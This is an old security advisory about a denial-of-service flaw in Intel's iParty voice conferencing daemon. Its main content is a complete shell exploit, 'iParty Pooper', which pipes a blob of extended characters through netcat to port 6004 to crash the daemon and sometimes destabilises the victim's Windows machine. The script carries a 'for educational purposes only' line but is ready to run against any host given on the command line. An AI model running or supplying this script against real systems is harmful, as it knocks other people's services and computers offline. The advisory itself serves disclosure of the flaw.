COMMAND

    iParty

SYSTEMS AFFECTED

    Win with iParty

PROBLEM

    'wh00t X' found following. iParty, by Intel ETD, is a small  voice
    conferencing  program,  which  includes  a  server  daemon  in the
    download.   It is  handy for  quick internet  voice chat,  but the
    server  can  be  killed  by  sending  a  large  amount of extended
    characters to the server port,  which is 6004 by default,  without
    being logged.   The daemon either  crashes quietly or  GPF (varies
    from box to box).

    This has been covered already in:

        http://oliver.efri.hr/~crv/security/bugs/NT/iparty.html

    but this matter needs further attention because this vulnerability
    may be worse than thought: test program (below) was tested against
    4 random Windows 95/98 boxes with the daemon running, and after  2
    or 3 crashes in a row, on top of crashing the iParty daemon,  some
    experienced   disconnection   from   the   internet,   ICQ  and/or
    Rnaapp.exe, and one was even forced to reboot after the Rnaapp.exe
    crash.

    #!/bin/sh
    # iParty Pooper by Ka-wh00t (wh00t@iname.com) - early May '99 - Created out of pure boredom.
    # iParty is a cute little voice conferencing program still widely used (much to my surprise.)
    # Unfortuneately, the daemon, that's included in the iParty download, can be shut down remotely.
    # And in some circumstances, this can lead to other Windows screw-ups (incidents included internet
    # disconnection, ICQ GPFs, Rnaapp crashes, etc.) Sometimes the daemon closes quietly, other times
    # a ipartyd.exe GPF. DoSers will hope for the GPF. At time of this script's release, the latest
    # (only?) version of iParty/iPartyd was v1.2
    # FOR EDUCATIONAL PURPOSES ONLY.


    if [ "$1" = "" ]; then
    echo "Simple Script by Ka-wh00t to kill any iParty Server v1.2 and under. (ipartyd.exe)"
    echo "In some circumstances can also crash other Windows progs and maybe even Windows itself."
    echo "Maybe you'll get lucky."
    echo ""
    echo "Usage: $0 <hostname/ip> <port>"
    echo "Port is probably 6004 (default port)."
    echo ""
    echo "Remember: You need netcat for this program to work."
    echo "If you see something similar to 'nc: command not found', get netcat."
    else
    if [ "$2" = "" ]; then
    echo "I said the port is probably 6004, try that."
    exit
    else
    rm -f ipp00p
    cat > ipp00p << _EOF_
    $6]}tTյ?"̐ap/HD0iAL%̂EBEԁ'*}yԥ(3znuԏj+(֗քd'ZiXy7'``྽ϝ	Cʹ>ܐE6^^v?^:{n"u'g=o8Ӂ'L5"鲱ᤁDRGIlqYgiiվHHwὲ3l*o#sC9m,

    _EOF_
    echo ""
    echo "Sending kill..."
    cat ipp00p | nc $1 $2
    echo "Done."
    rm -f ipp00p
    fi
    fi

SOLUTION

    Well, still there are other programs to use...